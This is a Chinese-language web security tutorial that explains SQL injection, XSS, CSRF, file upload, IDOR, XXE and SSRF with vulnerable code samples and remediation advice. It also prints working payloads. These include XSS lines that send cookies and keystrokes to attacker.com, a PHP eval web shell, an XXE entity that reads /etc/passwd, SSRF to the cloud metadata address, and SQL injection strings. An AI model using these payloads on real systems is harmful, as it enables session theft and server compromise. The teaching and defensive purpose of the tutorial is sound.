Web安全实战指南:从SQL注入到XSS,核心漏洞原理与修复方案详解
1. 项目概述:一份面向实战的Web漏洞全景图
干了这么多年安全,从渗透测试到应急响应,再到代码审计,我最大的感触就是:Web安全这事儿,入门容易,精通难。很多刚入行的朋友,面对五花八门的漏洞名称和概念,常常感到无从下手。今天,我想抛开那些教科书式的理论堆砌,结合我这些年踩过的坑、挖过的洞、修过的代码,为你梳理一份真正面向实战的Web漏洞总结。
这份总结的核心目标很明确:让你不仅能看懂漏洞,更能理解漏洞的成因,亲手复现它,并最终知道如何从根源上修复它。所以,我不会只给你一个漏洞列表,而是会为每个核心漏洞类型,都配上典型的利用代码(Exp)、清晰的代码层面成因分析,以及可落地的修复方案。无论是你正在学习安全开发,还是负责线上系统的安全加固,甚至是准备面试,收藏这一篇,反复查阅和实践,都能帮你建立起从攻击者到防御者的完整视角。
Web漏洞的世界看似庞杂,但核心脉络是清晰的。它们大多围绕着“数据”与“指令”的边界展开。攻击者想尽办法让程序执行不该执行的指令,或者访问不该访问的数据。我们接下来要拆解的,就是这些“越界”行为最常见的手法。
2. 漏洞体系与核心思路拆解
2.1 漏洞分类的逻辑:从输入到执行
在深入具体漏洞前,我们需要建立一个清晰的分类逻辑。我习惯从漏洞发生的“位置”和“原理”两个维度来划分,这能帮你更好地理解防御的重点。
从位置上看,漏洞可以发生在:
- 客户端交互层:用户浏览器与服务器直接交互的界面,如URL参数、表单、HTTP头。SQL注入、XSS、CSRF等大多发生在这里。
- 服务器应用层:Web应用程序本身的业务逻辑处理部分。这里的问题往往是逻辑设计缺陷,如越权访问、业务逻辑漏洞。
- 服务器配置层:Web服务器(如Nginx, Apache)、应用服务器(如Tomcat)及中间件、框架的配置不当。例如目录遍历、不安全的HTTP方法启用、默认凭证等。
- 依赖组件层:应用程序所使用的第三方库、框架、插件中存在的已知漏洞。例如Struts2、Fastjson、Log4j等组件的远程代码执行漏洞。
从原理上看,所有漏洞几乎都源于对“用户输入”的信任。安全的第一原则就是:所有外部输入都是不可信的。无论是来自URL、表单、Cookie、HTTP头,甚至是数据库(可能被其他漏洞污染),都必须经过严格的验证、过滤或转义。
基于这个思路,我们的学习路径应该是:先掌握那些原理经典、危害巨大、出现频率最高的漏洞,再逐步扩展到更复杂的逻辑漏洞和组件漏洞。下面,我们就从最“臭名昭著”的SQL注入开始。
2.2 学习路径规划:从基础到进阶
对于初学者,我建议按以下顺序攻坚:
- 注入类漏洞:SQL注入、命令注入。这是理解“数据与指令混淆”的绝佳起点。
- 跨站类漏洞:XSS(跨站脚本)、CSRF(跨站请求伪造)。这是理解浏览器安全模型和会话管理的核心。
- 文件与路径相关漏洞:文件上传、目录遍历、XXE(XML外部实体注入)。这类漏洞常导致敏感信息泄露或服务器被控制。
- 逻辑与权限漏洞:越权访问(水平/垂直)、业务逻辑漏洞。这需要你深入理解应用程序的业务流程。
- 组件与配置漏洞:学习如何利用已知CVE,以及如何通过安全配置加固服务器。
这个路径由浅入深,前面的知识会成为理解后面漏洞的基础。接下来,我们就进入实战环节。
3. 核心漏洞深度解析与利用实战
3.1 SQL注入:数据库的“万能钥匙”
SQL注入的原理非常简单:攻击者通过在Web应用的输入参数中插入恶意的SQL代码,欺骗后端数据库执行非预期的查询。其根本原因是程序将用户输入的数据直接拼接到了SQL查询语句中,而没有进行任何处理。
漏洞代码示例(Java):
// 错误示范:直接拼接用户输入 String username = request.getParameter("username"); String sql = "SELECT * FROM users WHERE username = '" + username + "'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(sql);如果用户输入的username是admin' OR '1'='1,那么最终的SQL语句会变成:
SELECT * FROM users WHERE username = 'admin' OR '1'='1''1'='1'这个条件永远为真,导致查询返回所有用户数据,实现了绕过登录。
利用Exp(手工探测与利用):
- 探测注入点:在疑似参数后添加单引号
‘,观察页面是否报错(数据库错误信息回显)。或提交1 AND 1=1和1 AND 1=2,观察页面返回结果是否不同。 - 判断数据库类型:通过报错信息或特性函数判断,如
version()(MySQL)、@@version(MSSQL)。 - 联合查询获取数据:确定字段数后,使用
UNION SELECT。
观察页面哪个位置回显了数字,就在对应位置替换为想查询的信息,如/product?id=1 UNION SELECT 1,2,3,4 --database(),user(),table_name(需从information_schema中查询)。 - 盲注:当页面无回显时,通过布尔逻辑或时间延迟来判断。时间盲注示例:
如果页面响应延迟5秒,说明数据库名第一个字母是‘a’。/product?id=1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
漏洞修复方案:
- 首选:使用参数化查询(预编译语句)。这是根本解决方案,将SQL代码与数据分离。
// 正确示范:使用PreparedStatement String sql = "SELECT * FROM users WHERE username = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, username); // 此处输入任何内容都会被当作纯字符串处理 ResultSet rs = pstmt.executeQuery(); - 次选:使用安全的ORM框架,如MyBatis(需配合
#{},避免${})、Hibernate。它们底层通常实现了参数化查询。 - 补充:严格的输入验证。对输入进行白名单过滤(如用户名只允许字母数字),但绝不能作为唯一防线。
- 纵深防御:最小权限原则配置数据库账户,避免使用
root/sa等高级账户;对数据库错误信息进行统一封装,避免敏感信息泄露到前端。
实操心得:不要迷信WAF(Web应用防火墙)。WAF是重要的缓解措施,但可能被绕过。修复代码才是治本之策。在代码审计时,全局搜索
Statement.execute、executeQuery、字符串拼接(+)与SQL关键词的组合,是快速发现SQL注入的有效方法。
3.2 跨站脚本攻击:在用户浏览器中“植入代码”
XSS允许攻击者将恶意脚本注入到其他用户信任的网页中。当受害者的浏览器加载该页面时,恶意脚本就会执行。其危害包括盗取Cookie、会话劫持、钓鱼、键盘记录等。
漏洞类型与代码示例:
反射型XSS:恶意脚本来自当前HTTP请求,通常通过URL参数传递,服务器直接将其嵌入到响应中返回给用户。
// 错误示范:直接回显用户输入 $search = $_GET['q']; echo "您搜索的关键词是: " . $search;如果用户访问
http://site/search?q=<script>alert('xss')</script>,脚本就会执行。存储型XSS:恶意脚本被保存到服务器(如数据库、文件),当其他用户访问包含此数据的页面时触发。常见于论坛评论、用户昵称、留言板。
// 前端错误示范:使用innerHTML直接插入不可信数据 document.getElementById('comment').innerHTML = userSuppliedContent;DOM型XSS:漏洞发生在客户端JavaScript代码中,恶意数据在浏览器端被不安全的DOM操作所执行。
// 错误示范:从URL hash中获取数据并直接操作DOM var data = decodeURIComponent(location.hash.substr(1)); document.write("Welcome " + data); // 如果data是<script>...</script>,就会执行
利用Exp(构造Payload):
- 窃取Cookie:这是最常见的目的。
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script> - 键盘记录:
<script>document.onkeypress=function(e){new Image().src='http://attacker.com/log?key='+e.key;}</script> - 伪造请求(结合CSRF):利用脚本自动发起转账、修改密码等请求。
漏洞修复方案:
- 对输出进行编码/转义:这是防御XSS的基石。
- HTML上下文:将
<,>,&,",'等字符转换为HTML实体(如<-><)。使用安全的库函数,如OWASP ESAPI、PHP的htmlspecialchars(需指定ENT_QUOTES)、Java的StringEscapeUtils.escapeHtml4。 - JavaScript上下文:使用
\xXX或\uXXXX形式进行Unicode转义。更佳实践是避免将不可信数据放入<script>标签或事件处理器(如onclick)中,而是通过操作文本节点(textContent)或使用安全的API(如setAttribute)。 - URL上下文:对输入进行URL编码(
encodeURIComponent)。
- HTML上下文:将
- 实施内容安全策略:CSP(Content Security Policy)是一个重要的纵深防御措施。通过HTTP头告诉浏览器只允许加载指定来源的脚本、样式等资源,可以有效遏制XSS。
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; - 使用安全的框架和库:现代前端框架(如React, Vue, Angular)默认会对渲染的数据进行转义。使用
innerText或textContent代替innerHTML。
注意事项:转义必须在正确的上下文中进行。在HTML属性中转义了,但数据最终被放进了
<script>标签里,依然会出问题。因此,“输入验证”和“输出编码”必须双管齐下,并且要清楚数据最终在哪里被使用。
3.3 跨站请求伪造:冒充用户的“隐身刺客”
CSRF攻击诱使已登录的用户在不知情的情况下,向Web应用发送一个恶意请求。因为浏览器会自动携带用户的Cookie等认证信息,服务器会认为这是一个合法的用户操作。
漏洞场景:用户登录了银行网站bank.com,会话Cookie有效。此时用户访问了恶意网站evil.com,该页面中包含一个自动提交的表单或一个图片请求,其目标是bank.com/transfer。
<!-- evil.com 页面内容 --> <img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;"> <form id="csrf-form" action="http://bank.com/transfer" method="POST" style="display:none;"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="10000"> </form> <script>document.getElementById('csrf-form').submit();</script>用户浏览器访问evil.com时,会自动向bank.com发送携带用户Cookie的转账请求。
漏洞修复方案:
- 使用CSRF Token:最有效的方法。服务器在生成表单或页面时,嵌入一个随机、不可预测的Token(通常放在隐藏域或Meta标签中)。用户提交请求时,必须携带这个Token,服务器进行验证。
后端在处理请求时,校验<form action="/transfer" method="POST"> <input type="hidden" name="_csrf" value="随机生成的Token值"> <!-- 其他表单字段 --> </form>_csrf参数是否与当前会话中存储的值一致。 - 验证Referer/Origin头:检查HTTP请求头中的
Origin或Referer字段,确保请求来源于同源站点。但此方法可能因浏览器隐私设置或某些网络环境(如从HTTPS跳到HTTP)导致Referer缺失而误伤正常请求。 - 使用SameSite Cookie属性:将Cookie的
SameSite属性设置为Strict或Lax,可以限制第三方上下文发送Cookie,从而有效防御大部分CSRF攻击。Set-Cookie: sessionid=xxxx; SameSite=Lax; HttpOnly; Secure - 关键操作增加二次确认:对于转账、修改密码等敏感操作,要求用户再次输入密码或进行短信/邮件验证。
实操心得:CSRF Token需要保证足够的随机性和一次性(或短期有效性)。同时,要确保Token不会通过GET请求泄露(例如被记录在浏览器历史、日志或Referer中),因此关键操作务必使用POST等非幂等方法。在前后端分离的架构中,Token通常放在HTTP头(如
X-CSRF-Token)中发送。
3.4 文件上传漏洞:通往服务器内部的“后门”
如果服务器对用户上传的文件检查不严,攻击者可能上传WebShell(一种网页形式的后门程序),从而直接获取服务器控制权。
漏洞代码示例(PHP):
// 错误示范:仅检查客户端Content-Type,且未重命名文件 $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["file"]["name"]); // 使用原始文件名 $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // 脆弱的检查:只检查了MIME类型,可被轻易伪造 if($_FILES["file"]["type"] != "image/jpeg") { die("只允许上传JPEG图片。"); } move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);攻击者可以抓包修改上传请求,将一个PHP木马文件(如shell.php)的Content-Type改为image/jpeg,即可绕过检查。
利用Exp(上传WebShell):
- 准备一个简单的PHP WebShell文件
shell.php:<?php @eval($_GET['cmd']); ?> - 使用Burp Suite等工具拦截上传请求,将文件名改为
shell.php,并将Content-Type修改为image/jpeg。 - 如果服务器未重命名文件且上传目录有执行权限,访问
http://target.com/uploads/shell.php?cmd=system('whoami');即可执行系统命令。
漏洞修复方案(纵深防御):
- 白名单验证文件扩展名:只允许特定的、安全的扩展名(如
.jpg,.png,.pdf)。切勿使用黑名单,很容易被绕过(如.php5,.phtml,.php.jpg等)。 - 检查文件内容(MIME类型/魔数):在服务器端使用文件头(魔数)判断文件真实类型。例如,JPEG文件头是
FF D8 FF E0。$finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES["file"]["tmp_name"]); finfo_close($finfo); $allowed_mimes = ['image/jpeg', 'image/png']; if(!in_array($mime, $allowed_mimes)) { die("文件类型非法"); } - 重命名上传文件:使用随机生成的文件名(如UUID)保存,避免使用用户提供的文件名,防止覆盖和路径遍历。
$new_filename = uniqid() . '.' . $allowed_extension; // 例如:5f1a2b3c4d5e6.jpg - 设置安全的目录权限:将上传目录设置为不可执行。对于Nginx/Apache,可以配置该目录禁止解析脚本。
# Nginx 配置示例 location ^~ /uploads/ { deny all; # 或者 return 403; 最安全,但可能影响图片访问 # 更精细的控制:禁止执行PHP location ~ \.php$ { deny all; } } - 使用独立的文件存储服务:如OSS、S3,并配置Bucket策略,通过CDN链接访问文件,彻底隔离应用服务器。
常见问题:即使做了扩展名和内容检查,攻击者仍可能利用图像处理库(如ImageMagick)的漏洞(GhostScript漏洞)或通过上传包含恶意代码的SVG文件来执行命令。因此,及时更新图像处理库,并对SVG文件进行严格的净化处理,同样重要。
4. 其他高危漏洞与逻辑漏洞剖析
4.1 不安全的直接对象引用与越权访问
IDOR(不安全的直接对象引用)是越权访问的一种常见形式。当应用程序使用用户提供的输入(如URL中的ID参数)直接访问某个对象(如数据库记录、文件),而没有验证当前用户是否有权访问该对象时,就会发生IDOR。
漏洞场景:用户通过/view_order?id=123查看自己的订单。如果将id参数改为124,就能看到其他用户的订单信息(水平越权)。如果普通用户访问/admin/delete_user?id=1,可能删除管理员账户(垂直越权)。
漏洞代码示例:
# Flask 错误示范 @app.route('/api/user/profile/<int:user_id>') def get_profile(user_id): # 直接从数据库获取用户信息,未检查当前登录用户是否有权限查看该user_id user = db.session.query(User).get(user_id) return jsonify(user.to_dict())修复方案:
- 间接引用映射:不使用数据库主键等直接标识符,而是使用服务器生成的、随机的、与用户会话绑定的令牌(Token)来引用对象。
- 访问控制检查:在每次数据访问前,加入权限验证逻辑。
@app.route('/api/user/profile/<int:user_id>') @login_required def get_profile(user_id): current_user = g.user # 检查请求的用户ID是否等于当前登录用户ID(水平权限检查) if current_user.id != user_id and not current_user.is_admin: # 垂直权限检查 abort(403) # 禁止访问 user = db.session.query(User).get(user_id) return jsonify(user.to_dict()) - 使用统一的权限框架:如Spring Security、Shiro,在方法或API层面声明式地控制权限。
4.2 XML外部实体注入:从文件读取到SSRF
XXE漏洞发生在应用程序解析XML输入时,允许加载外部实体。攻击者可以利用此功能读取服务器上的任意文件,发起SSRF攻击,甚至在某些情况下执行远程代码。
漏洞代码示例(Java - DocumentBuilderFactory):
// 错误示范:未禁用外部实体解析 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); // 解析来自用户的XML数据 Document doc = db.parse(new InputSource(new StringReader(xmlString)));攻击者可以提交如下恶意XML:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>解析后,实体&xxe;会被替换为/etc/passwd文件的内容。
利用Exp:
- 读取本地文件:如上例。
- 发起SSRF攻击:利用
http://或ftp://协议,让服务器向内部网络发起请求,探测内网服务。<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/internal/admin"> - 拒绝服务攻击:通过加载巨大的外部实体(如
/dev/random)消耗服务器资源。
漏洞修复方案:
- 禁用外部实体和DTD:这是最直接有效的方法。
// 安全配置示例 (Java) DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD // 或使用以下组合,允许DTD但禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); dbf.setXIncludeAware(false); dbf.setExpandEntityReferences(false); - 使用安全的XML解析器:如OWASP推荐的
OWASP AntiSamy或配置安全的XML处理器。 - 白名单过滤:对用户输入的XML数据进行严格的标签和属性过滤。
4.3 服务器端请求伪造:让服务器成为“跳板”
SSRF攻击诱使服务器端应用向攻击者指定的内部或外部地址发起请求。利用此漏洞,攻击者可以扫描内网、攻击内部脆弱的服务,或利用服务器身份访问云元数据服务(如AWS的169.254.169.254)获取敏感信息。
漏洞场景:一个提供网页截图功能的服务,其接口为/screenshot?url=https://example.com。如果未对url参数做限制,攻击者可以传入file:///etc/passwd或http://169.254.169.254/latest/meta-data/。
漏洞代码示例:
import requests from flask import request @app.route('/fetch') def fetch_url(): url = request.args.get('url') # 直接使用用户输入的URL response = requests.get(url) # 服务器代表用户发起请求 return response.text修复方案:
- 对输入进行严格的校验和过滤:
- 白名单协议:只允许
http和https。 - 黑名单内网IP和域名:拒绝向私有IP段(如
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)、回环地址(127.0.0.0/8)、链路本地地址(169.254.0.0/16)和云元数据地址发起请求。 - 解析URL:使用
urlparse等库解析用户输入,获取hostname,然后进行DNS解析,获取真实的IP地址进行判断,防止使用DNS重绑定等技术绕过。
- 白名单协议:只允许
- 使用URL映射或代理:不直接请求用户提供的URL,而是通过一个中间服务或映射表,将用户输入的标识符映射到预设的、安全的URL。
- 禁用不必要的URL Schema:在使用的网络库中,禁用
file://、gopher://、dict://等危险协议。
5. 漏洞挖掘、修复与安全开发实践
5.1 主动挖掘漏洞:思路与工具链
了解漏洞原理后,如何主动发现它们?这需要结合手动测试和自动化工具。
- 信息收集:使用
subfinder、amass收集子域名,httpx、nmap探测存活服务和端口,waybackurls、gau获取历史URL,dirsearch、ffuf进行目录爆破。目标是尽可能扩大攻击面。 - 自动化扫描:使用
AWVS、Nessus、Nuclei等工具进行初步漏洞扫描。切记,扫描结果只是参考,存在大量误报和漏报,必须手动验证。 - 手动测试与验证:
- SQL注入:使用
sqlmap进行自动化检测和利用,但理解其Payload原理更重要。 - XSS:在每一个输入点尝试
<script>alert(1)</script>、<img src=x onerror=alert(1)>等基础Payload,观察是否被过滤或转义。使用DOM-Inspector浏览器插件辅助测试DOM型XSS。 - 越权:准备两个测试账号(A和B),用A的Token去请求B的资源接口,观察是否成功。
- 逻辑漏洞:深入理解业务。尝试修改价格参数为负数、重复提交订单、绕过验证码步骤等。关注“状态”的变化,比如未支付订单能否直接发货。
- SQL注入:使用
- 代码审计:对于有源码的项目,这是最直接的方法。全局搜索危险函数(如
eval(),system(),Runtime.exec(),DocumentBuilder.parse()),跟踪用户输入的数据流,看是否在未经验证的情况下流入了这些函数。
5.2 修复不是终点:安全开发生命周期
修复单个漏洞是“救火”,建立安全开发流程才是“防火”。
- 安全需求与设计:在项目初期就考虑安全。进行威胁建模(如STRIDE),识别潜在威胁并制定缓解措施。
- 安全编码规范:为团队制定并推行安全编码规范,明确禁止使用危险函数,规定必须使用参数化查询、输出编码等安全实践。
- 代码审计与自动化扫描:将静态应用安全测试工具(SAST,如SonarQube、Fortify)集成到CI/CD流程中,对每次提交的代码进行扫描。同时,定期进行人工代码评审。
- 动态测试与渗透测试:在测试环境或预发布环境,定期进行DAST扫描和人工渗透测试。
- 依赖组件管理:使用软件成分分析工具(SCA,如Dependency-Check、Snyk)持续监控项目依赖的第三方库是否存在已知漏洞(CVE),并及时升级或打补丁。
- 安全监控与响应:在线上环境部署WAF、RASP进行实时防护和攻击检测。建立安全事件应急响应流程。
5.3 常见问题排查与避坑指南
在实际开发和修复过程中,你肯定会遇到各种“坑”。这里记录几个我印象深刻的:
- “我用了PreparedStatement,为什么还有注入?”:检查是否在
ORDER BY、GROUP BY、表名、列名等位置使用了字符串拼接。这些地方无法使用占位符?,必须使用白名单映射。例如,将用户输入的sort=name映射到合法的列名username。 - “CSP已经设置了,为什么XSS还能生效?”:检查CSP策略中是否包含了不安全的来源,如
‘unsafe-inline’或‘unsafe-eval’。同时,注意如果页面可以通过data:URI 或javascript:伪协议加载脚本,CSP也可能失效。使用浏览器的开发者工具Console标签,查看CSP违规报告。 - “文件上传做了白名单,为什么还能传WebShell?”:检查服务器是否配置了错误的MIME类型映射。例如,在Nginx中,如果
.jpg文件被错误地配置了application/x-httpd-php处理器,那么.jpg文件也会被当作PHP执行。此外,攻击者可能利用文件包含漏洞(如include($_GET[‘file’].’.jpg’))来执行上传的图片马。 - “越权接口测试没问题,上线后用户却反馈能看见别人的数据?”:很可能是因为测试数据量小,使用了缓存或特定的查询条件,而线上复杂的业务逻辑和数据结构暴露了问题。权限检查必须与数据查询绑定,最好在数据库查询的WHERE条件中直接加入用户权限约束(如
AND user_id = :current_user_id),而不是先查出数据再判断。 - “修复了旧漏洞,引入了新漏洞”:这在安全修复中很常见。例如,为了防XSS,对输入进行了严格的HTML转义,但数据在另一个JSON接口中被输出,导致出现了转义字符破坏JSON结构。因此,修复后必须进行全面的回归测试,确保功能正常且没有引入新问题。
Web安全是一个持续对抗的过程,没有一劳永逸的银弹。这份总结为你提供了从漏洞原理、利用到修复的完整地图和工具,但真正的精通,来自于在无数个真实场景中的实践、思考和总结。保持好奇心,保持谨慎,永远假设你的系统正在被攻击,这才是安全从业者应有的心态。
